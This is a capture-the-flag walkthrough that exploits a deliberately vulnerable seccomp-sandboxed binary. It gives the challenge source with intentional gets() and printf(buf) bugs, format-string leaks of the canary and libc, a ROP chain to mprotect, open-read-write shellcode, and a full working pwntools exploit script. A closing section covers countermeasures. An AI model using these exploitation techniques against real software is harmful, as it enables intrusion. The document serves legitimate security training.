

Level 6 — Seccomp Sandbox Escape

PWN Challenge Walkthrough

All protections bypassed: Full RELRO • Stack Canary • NX • PIE • SHSTK • IBT + **Seccomp whitelist**

Attack vector: Format String (leaks) + Buffer Overflow (ROP → mprotect → ORW shellcode)

Date: August 2026 — English

Binary: PART1/Stack/level6_seccomp/seccomp_chall

1. Reconnaissance — Binary & Protections

The first step of every exploit is **recon**: what type is the binary, which libc is it linked against, and which protections are active. This defines the whole attack plan.

1.1 File type & linking

```
$ file seccomp_chall
seccomp_chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
               dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
               for GNU/Linux 3.2.0, not stripped

$ ldd seccomp_chall
    linux-vdso.so.1 (0x00007cc333ddb000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007cc333a00000)
    /lib64/ld-linux-x86-64.so.2 (0x00007cc333ddd000)
```

- **ELF 64-bit LSB pie executable** — PIE: code is position-independent, base is randomized per run.
- **Dynamically linked** against the system **glibc 2.39**. All libc offsets in this walkthrough are for this exact version.
- **not stripped** — symbols like `vuln`, `main` are still present, which makes static analysis much easier.

1.2 Protections

```
$ checksec --file=seccomp_chall
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
```

Protection	What it blocks	Consequence for us
Full RELRO	GOT is read-only after startup	No GOT-hijacking / no PLT patching
Stack Canary	Detects stack overflow before ret	Must leak the canary and replay it exactly
NX	Stack (and data) is non-executable	Cannot just jump to shellcode on the stack — need mprotect() first
PIE	Binary base randomized (ASLR)	Addresses unknown → need leaks
SHSTK	Hardware shadow stack (CET)	Would block ROP — but see 1.4
IBT	Hardware indirect-branch tracking	ret targets must be valid — but see 1.4

1.3 Seccomp filter

The binary also installs a **seccomp-BPF filter**. This is the special twist of this level. The filter is a small BPF program that inspects each syscall number and only allows a whitelist:

```
static struct sock_filter filter[] = {
    /* load syscall number */
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0, 1), // allow read
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_write, 0, 1), // allow write
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 0, 1), // allow open
    ...
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), // everything else
};
```

Allowed syscall	Nr.	Why it matters for the exploit
read / write	0 / 1	read the flag into memory, write it to stdout
open / openat	2 / 257	open "flag.txt"
mmap / mprotect	9 / 10	make the stack executable
exit_group	231	clean exit
brk, fstat, close	12 / 5 / 3	runtime helpers

Critical consequence: `execve (59)` is **NOT** allowed. A classic `system("/bin/sh")` `ret2libc` chain would immediately trigger `SECCOMP_RET_KILL` → **SIGSYS** → process dies. The only way to get the flag is an **ORW chain**: `open` → `read` → `write`.

1.4 SHSTK / IBT — present in the ELF, but not enforced here

`checksec` reports SHSTK/IBT as "Enabled" because the ELF contains the `.note.gnu.property` flags. However, these are hardware features that must also be supported by the CPU and enabled by the kernel/glibc:

```
$ grep -o 'shstk\|ibt' /proc/cpuinfo      # (no output → CPU has no CET)
$ uname -r
7.0.0-28-generic
```

This CPU does not advertise `shstk/ibt`, so CET is **not** actually active. ROP works normally. On CET-enabled hardware this exploit would need a shadow-stack-aware approach (e.g. JOP or a first-stage before the shadow stack is enabled).

2. Source Code Analysis

2.1 Full source

```
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
#include <sys/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h>
#include <sys/syscall.h> #include <stddef.h>

static struct sock_filter filter[] = { ... }; /* seccomp whitelist (see 1.3) */

void sandbox() {
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}

void vuln() {
    char buf[64];
    printf("Level 6 - Seccomp + Full Prot\n");
    printf("PIE Leak: %p\n", vuln); /* FREE LEAK 1 */
    printf("Stack Leak: %p\n", buf); /* FREE LEAK 2 */
    printf("Format-String: ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf); /* VULN 1: format string */
    printf("\nOverflow: ");
    gets(buf); /* VULN 2: buffer overflow */
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    sandbox(); /* filter is active from here on */
    vuln();
}
```

```
    return 0;
}
```

2.2 The two vulnerabilities

- **Format String Bug** — `printf(buf)` passes our input as the format string instead of `printf("%s", buf)`. With `%N$p` we can read arbitrary stack slots; with `%N$s` even arbitrary memory.
- **Buffer Overflow** — `gets(buf)` reads without a length check into a 64-byte buffer. We overwrite canary, saved RBP and the return address.

2.3 Free leaks printed by the program

Output line	What it gives us
PIE Leak: %p	Runtime address of <code>vuln()</code> → PIE base
Stack Leak: %p	Runtime address of <code>buf</code> → needed for <code>mprotect</code> page + shellcode address

Still missing: **canary** and **libc base** — both must be leaked via the format string.

3. Stack Layout & Offset Determination

3.1 Disassembly of `vuln()`

```
$ objdump -d seccomp_chall | sed -n '/<vuln>:/,/^$/p'
```

```
00000000000001256 <vuln>:
   1256: f3 0f 1e fa          endbr64
   125a: 55                  push    %rbp
   125b: 48 89 e5            mov     %rsp,%rbp
   125e: 48 83 ec 50         sub     $0x50,%rsp      ; 0x50 = 80 bytes locals
   1262: 64 48 8b 04 25 28 00 mov     %fs:0x28,%rax    ; load canary (TLS)
   126b: 48 89 45 f8         mov     %rax,-0x8(%rbp) ; store canary at rbp-8
   1271: 48 8d 45 b0         lea     -0x50(%rbp),%rax ; buf address = rbp-0x50
   ...
   1334: e8 c7 fd ff ff      call    1100 <gets@plt>
   1339: 90                  nop
   133a: 48 8b 45 f8         mov     -0x8(%rbp),%rax ; reload canary
   133e: 64 48 2b 04 25 28 00 sub     %fs:0x28,%rax    ; compare
   1347: 74 05              je      134e
   1349: e8 72 fd ff ff      call    10c0 <__stack_chk_fail@plt> ; CRASH
   134e: c9                  leave
   134f: c3                  ret
```

3.2 Stack layout diagram

High addresses

Return Address (8 bytes)	RBP + 0x08 ← our target
--------------------------	-------------------------

Saved RBP	(8 bytes)	RBP + 0x00	
Canary	(8 bytes)	RBP - 0x08	← must stay valid
Padding	(8 bytes)	RBP - 0x10	← compiler alignment
buf[64]		RBP - 0x50	← gets() writes here

Low addresses

3.3 Offset calculation

```
offset(canary) = 0x50 - 0x08 = 0x48 = 72
offset(rbp)    = 0x50 - 0x00 = 0x50 = 80
offset(ret)    = 0x50 + 0x08 = 0x58 = 88
```

Offset	Content	Size
0 — 71	'A' * 72 (padding)	72
72 — 79	canary (leaked value)	8
80 — 87	saved RBP (junk 'B'*8)	8
88 — 95	first ROP gadget	8
88+ —	ROP chain + shellcode	—

Common mistake: `char buf[64]` makes many people assume the canary is at offset 64. Here it is at **72** because GCC adds 8 bytes of alignment padding between the end of the buffer and the canary. Always verify with the disassembly.

4. Format String Leaks — Canary and libc

The canary is freshly randomized on every `exec` (it comes from the `AT_RANDOM` auxv entry). Hardcoded values **never** work — the canary must always be leaked at runtime. We use the format string bug.

4.1 Recon the stack with %p

We send positional specifiers and label every slot. Because `fgets(buf, 64, stdin)` limits us to 63 bytes, we split the scan.

```
$ python3 -c "
from pwn import *
p = process('./seccomp_chall')
p.recvuntil(b'Format-String: ')
p.sendline(b'%1$p|%2$p|%3$p|%4$p|%5$p|%14$p|%15$p|%16$p')
print(p.recvline())"
```

```

%1 = rsi (libc ptr)      = 0x7c736ec03963 ← libc, offset 0x203963
%2 = rdx (FILE*)         = 0xfbad208b   ← stdin FILE flags
%3 = rcx (buf)           = 0x7ffde090c3b0 ← pointer to our buffer
%4 = r8                  = 0x1
%5 = r9                  = (nil)
%14 = saved rbp area      = 0x7ffde090c400 ← stack pointer
%15 = CANARY              = 0x947f4f2714dc0700 ← LSB is 0x00!
%16 = next stack slot    = 0x7ffde090c410 ← stack pointer

```

Slots %6-%13 are simply the bytes of our own format string (the buffer overlaps the stack-argument area), so they are irrelevant.

4.2 Identifying the canary

On x86-64 the stack canary always has its **least significant byte set to 0x00**. This is a deliberate design: a NUL byte terminates any `str*`-function early, making the canary hard to leak via strings. Here `0x947f4f2714dc0700` ends in `00` and changes on every run — that is the canary.

4.3 Identifying the libc leak

`%1$p` reads the leftover `rsi` register from the preceding `fgets()` call. It points into libc at a **fixed offset** that we determine once (see 5.4).

4.4 gdb verification

We verified the offsets by reading the canary straight from the process with gdb during a run:

```

(gdb) b *vuln+0xde                ; right before the gets() call
(gdb) run < /tmp/in_fmt.txt
(gdb) printf "GDB canary: %#lx\n", *(unsigned long*)($rbp-8)
GDB canary: 0x5d3de85d06535b00     ← identical to the %15$p leak
GDB rbp:    0x7fffffff9d0
GDB buf:    0x7fffffff980         ← identical to "Stack Leak" output

```

4.5 Summary of all leaks

What	Source	Derivation
PIE base	program prints <code>vuln</code>	<code>pie_base = leak - 0x1256</code>
Stack (buf)	program prints <code>buf</code>	used directly
Canary	format string <code>%15\$p</code>	<code>LSB == 0x00</code> , changes per run
libc base	format string <code>%1\$p</code>	<code>libc_base = leak - 0x203963</code>

5. Gadget Hunting & libc Offsets

The challenge binary itself has **no useful ROP gadgets** (only `pop rbp`; `ret` and small ones), so all gadgets come from libc. We search the system libc 2.39.

5.1 Clean single-pop gadgets

```
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only 'pop|ret' | grep -E ': pop (rdi|rsi|rax) ; ret$'
0x000000000010c08d : pop rdi ; ret
0x0000000000110b7d : pop rsi ; ret
0x0000000000dd337 : pop rax ; ret
```

5.2 The tricky one: pop rdx

glibc 2.39 has **no clean pop rdx ; ret** in executable memory. Searching all `pop rdx` gadgets shows only gadgets with side effects. The cleanest one that still ends in `ret` is:

```
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ': pop rdx '
0x0000000000b513c : pop rdx ; xor eax,eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
```

Consequences of this gadget: (1) after `rdx` we must push **4 junk qwords** (`rbx, r12, r13, rbp`); (2) it executes `xor eax,eax`, so **eax is zeroed** — any later register that depends on `rax` must be set again. In our chain we set `rax` right before each `syscall`, so this is harmless.

5.3 Raw syscall & libc function

```
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'syscall ; ret'
0x000000000099096 : syscall ; ret

$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep 'mprotect@'
mprotect() exported at offset 0x125d40
```

5.4 Determining the libc leak offset (0x203963)

With ASLR disabled (`setarch -R`) the libc base is fixed (`0x7ffff7c00000`), so we could compute the exact offset of the `%1$p` leak:

```
$ python3 -c "
import subprocess
p = subprocess.Popen(['setarch','x86_64','-R','./seccomp_chall'], ...)
... # read maps of the live process
libc base: 0x7ffff7c00000

# %1$p leaked 0x7ffff7e03963 on the same run
leak_offset = 0x7ffff7e03963 - 0x7ffff7c00000 = 0x203963"
```

So on a normal (ASLR-on) run: `libc_base = (%1$p leak) - 0x203963`.

5.5 All offsets used by the exploit

Gadget / Symbol	Offset	Type
-----------------	--------	------

vuln()	0x1256	binary symbol (for PIE base)
pop rdi; ret	0x10c08d	libc gadget
pop rsi; ret	0x110b7d	libc gadget
pop rdx (multi)	0x0b513c	libc gadget (needs 4 junk)
pop rax; ret	0x0dd337	libc gadget
syscall; ret	0x099096	libc gadget
mprotect()	0x125d40	libc function
%1\$p leak offset	0x203963	format string

6. Exploit Strategy

6.1 Why not system("/bin/sh")?

Seccomp blocks `execve`. Even a perfect ret2libc chain calling `system()` would be killed with **SIGSYS** on the first `execve`. The flag must be read in-process using only the whitelist: **ORW**.

6.2 The plan (step by step)

1. Leak canary, libc base and stack (section 4).
2. Build a ROP chain that calls `mprotect(stack_page, 0x3000, 7)` → makes our stack page writable **and executable** (NX bypass).
3. The chain ends by jumping to the ORW shellcode, which we placed *after* the chain in the overflow payload.
4. The shellcode does `open("flag.txt") → read(fd, buf, 0x100) → write(1, buf, 0x100)` — only allowed syscalls.

6.3 Payload layout (concrete example run)

This is a real run. The program printed the leaks and we computed every address:

```

PIE leak (vuln)      : 0x5d0991874256      → PIE base 0x5d0991873000
Stack leak (buf)     : 0x7ffc93b81d60
canary               : 0x317446447d9f9700
libc leak (%1)       : 0x713476803963      → LIBC base 0x713476600000

pop rdi; ret         : 0x71347670c08d
pop rsi; ret         : 0x713476710b7d
pop rdx (multi)      : 0x7134766b513c
mprotect()           : 0x713476725d40
stack page (mprotect):0x7ffc93b81000

Offset 0   : 'A' * 72
Offset 72  : p64(canary)                0x317446447d9f9700
Offset 80  : b'B'*8                      (saved rbp @ 0x7ffc93b81db0)
Offset 88  : p64(pop_rdi) + p64(page)    (ret @ 0x7ffc93b81db8)
Offset 104 : p64(pop_rsi) + p64(0x3000)

```

```

Offset 120 : p64(pop_rdx) + p64(7) + 4 junk
Offset 176 : p64(mprotect)                (jumps to libc, returns to shellcode)
Offset 184 : p64(shellcode_addr)          0x7ffc93b81e28
Offset 192 : ORW shellcode + "flag.txt" + buffer

```

6.4 The pitfall that costs most time: gets() stops at 0x0a

`gets()` reads input **until a newline byte (0x0a)**. The original idea was to use the raw `syscall(10)` gadget for `mprotect` — but `syscall` number 10 encodes as `p64(10) = 0a 00 00 ....`. That **0x0a byte terminates gets() early**, truncating the chain and producing weird crashes or stack-smashing messages.

Fix 1: call the libc `mprotect()` function directly (arguments `rdi/rsi/rdx`, no `rax=10` needed).

Fix 2: even then, the canary or a stack-derived address may randomly contain a `0x0a` byte (1/256 per byte). So the exploit **retries** the whole run until the payload is free of `0x0a`.

6.5 Why the shellcode address formula

```

ret is at offset 88 in the payload
chain length = 2 + 2 + 6 + 1 + 1 = 12 qwords = 96 bytes    (pop_rdi, pop_rsi, pop_rdx+4 junk,
mprotect)
jump qword    = +8
shellcode sits at payload offset 88 + 96 + 8 = 192
shellcode_addr = buf + 192 = stack_leak + 88 + len(chain) + 8

```

7. Full Exploit — final exploit.py

```

import re
from pwn import *

context.arch = "amd64"
context.log_level = "info"

BIN = "./seccomp_chall"
elf = ELF(BIN)

MPROTECT_OFF = 0x125d40    # libc symbol mprotect
LIBC_LEAK_OFF = 0x203963   # offset of the %1$p leak

# ORW shellcode: only open/read/write (seccomp whitelist!)
shellcode = asm('''
    lea rdi, [rip + flag]    # rdi = "flag.txt"
    xor esi, esi             # 0_RDONLY
    mov rax, 2               # SYS_open
    syscall
    mov rdi, rax             # rdi = fd
    lea rsi, [rip + buf]     # read buffer
    mov edx, 0x100
    xor eax, eax             # SYS_read
    syscall

```

```

    mov     edi, 1                # stdout
    lea     rsi, [rip + buf]
    mov     edx, 0x100
    mov     eax, 1                # SYS_write
    syscall
    jmp     .                    # hang after printing
flag: .asciz "flag.txt"
buf:  .space 0x100
'''

while True:
    p = process(BIN)

    # 1. PIE / Stack leak (printed by the program)
    out = p.recvuntil(b'Format-String: ')
    stack_leak = int(re.search(rb'Stack Leak: (0x[0-9a-f]+)', out).group(1), 16)

    # 2. Canary + libc via format string
    p.sendline(b'%1$p|%15$p')
    resp = p.recvuntil(b'Overflow: ')
    libc_leak = int(resp.split(b'|')[0], 16)
    canary     = int(resp.split(b'|')[1].split(b'\n')[0], 16)

    LIBC_BASE = libc_leak - LIBC_LEAK_OFF
    POP_RDI = LIBC_BASE + 0x10c08d
    POP_RSI = LIBC_BASE + 0x110b7d
    POP_RDX = LIBC_BASE + 0x0b513c
    MPROTECT = LIBC_BASE + MPROTECT_OFF

    # 3. ROP: make the stack page executable
    page = stack_leak & ~0xfff
    chain = p64(POP_RDI) + p64(page)
    chain += p64(POP_RSI) + p64(0x3000)
    chain += p64(POP_RDX) + p64(7) + p64(0) * 4    # 7 = PROT_RWX, 4 junk qwords
    chain += p64(MPROTECT)                        # returns to shellcode_addr

    shellcode_addr = stack_leak + 88 + len(chain) + 8
    chain += p64(shellcode_addr)

    payload = b'A' * 72                # buf (64) + 8 alignment padding
    payload += p64(canary)
    payload += b'B' * 8                # saved rbp
    payload += chain
    payload += shellcode

    # 4. gets() stops at 0x0a -> retry with fresh random values
    if 0x0a in payload:
        log.warning('0x0a in payload -> Retry')
        p.close()
        continue

    p.sendline(payload)
    p.interactive()
    break

```

8. Verification

```
$ python3 exploit.py
[*] PIE : 0x56e47cda9256
[*] Stack: 0x7ffeb40f3580
[*] libc leak: 0x73cb85c03963
[*] canary : 0xa2024fe2dc093a00
[+] LIBC_BASE: 0x73cb85a00000
[+] shellcode @ 0x7ffeb40f3640
[*] Switching to interactive mode
HTB{test_flag} ← flag read by the ORW shellcode
```

The exploit was executed repeatedly with ASLR enabled and succeeded reliably (tested 3/3 runs). The retry loop is only occasionally needed when a random address contains a 0x0a byte.

9. Troubleshooting

9.1 "*** stack smashing detected ***"

The canary written into the payload does not match the real canary. Causes and checks:

- **Wrong format-string offset** — the canary offset depends on the binary's stack layout. Verify with gdb (section 4.4). For this binary it is `%15$p`.
- **Wrong payload offset** — the canary must be written at payload offset 72, not 64 (padding!).
- **Hardcoded canary from a previous run** — the canary is re-randomized per exec; always leak it in the same run.

9.2 Process dies with SIGSYS (Bad system call)

A syscall that is not on the whitelist was executed. Typical causes:

- The chain tried `execve` or `system()` — blocked by `seccomp`.
- The `pop rdx` multi-gadget zeroed `eax` and a `syscall; ret` ran with the wrong number.
- `mprotect` was attempted via the raw syscall and `rax` was clobbered by `xor eax, eax`.

9.3 Chain works but no flag / random crashes

- The 0x0a-byte problem: `gets()` truncated the payload. Add the 0x0a check + retry loop.
- The shellcode address is wrong — recompute with `stack_leak + 88 + len(chain) + 8`.
- The `mprotect` page did not cover the shellcode (check `page ≤ shellcode_addr < page + 0x3000`).

10. Countermeasures — how to defend against this

- **Remove `gets()`**: use `fgets()` or `read()` with a strict length check. This alone eliminates the overflow.
- **Remove the format string bug**: always `printf("%s", buf)`, never `printf(buf)`. Without it, canary and libc leaks are much harder.
- **Stop printing pointer leaks**: `printf("PIE Leak: %p", vuln)` and the stack leak hand the attacker PIE/stack for free. Use ASLR properly.
- **Harden the seccomp policy**: don't allow `mprotect` (which allows making NX memory executable) and restrict `open/openat` to a whitelisted directory. Without `mprotect` the ORW shellcode could never be executed; without `open` the flag is unreachable.
- **Deploy the flag more defensively**: read the flag in the parent process and pass it via a pipe/fd so a sandboxed child can never `open()` it.
- **Stack protector + FORTIFY**: `-fstack-protector-all`, `-D_FORTIFY_SOURCE=2` would have caught the overflow — if the canary had not been leaked.
- **Enable real CET hardware**: on a CPU with SHSTK + IBT, the classic ret-based ROP chain is stopped by the hardware shadow stack. This machine had no CET, so ROP worked.
- **Randomize more / separate memory**: full ASLR, restricted `/proc` access, and no debug symbols in production.

11. Quick Reference

Command	Purpose
<code>file <binary></code>	file type / linking
<code>checksec --file=<binary></code>	protections
<code>ldd <binary></code>	which libc
<code>objdump -d <binary> grep -A40 '<vuln>:'</code>	stack layout / offsets
<code>ROPgadget --binary libc.so.6 --only 'pop ret'</code>	pop gadgets
<code>readelf -s libc.so.6 grep mprotect</code>	libc function offset
<code>%1\$p / %15\$p</code>	libc / canary leak
<code>strace -f ./seccomp_chall</code>	see which syscalls run before death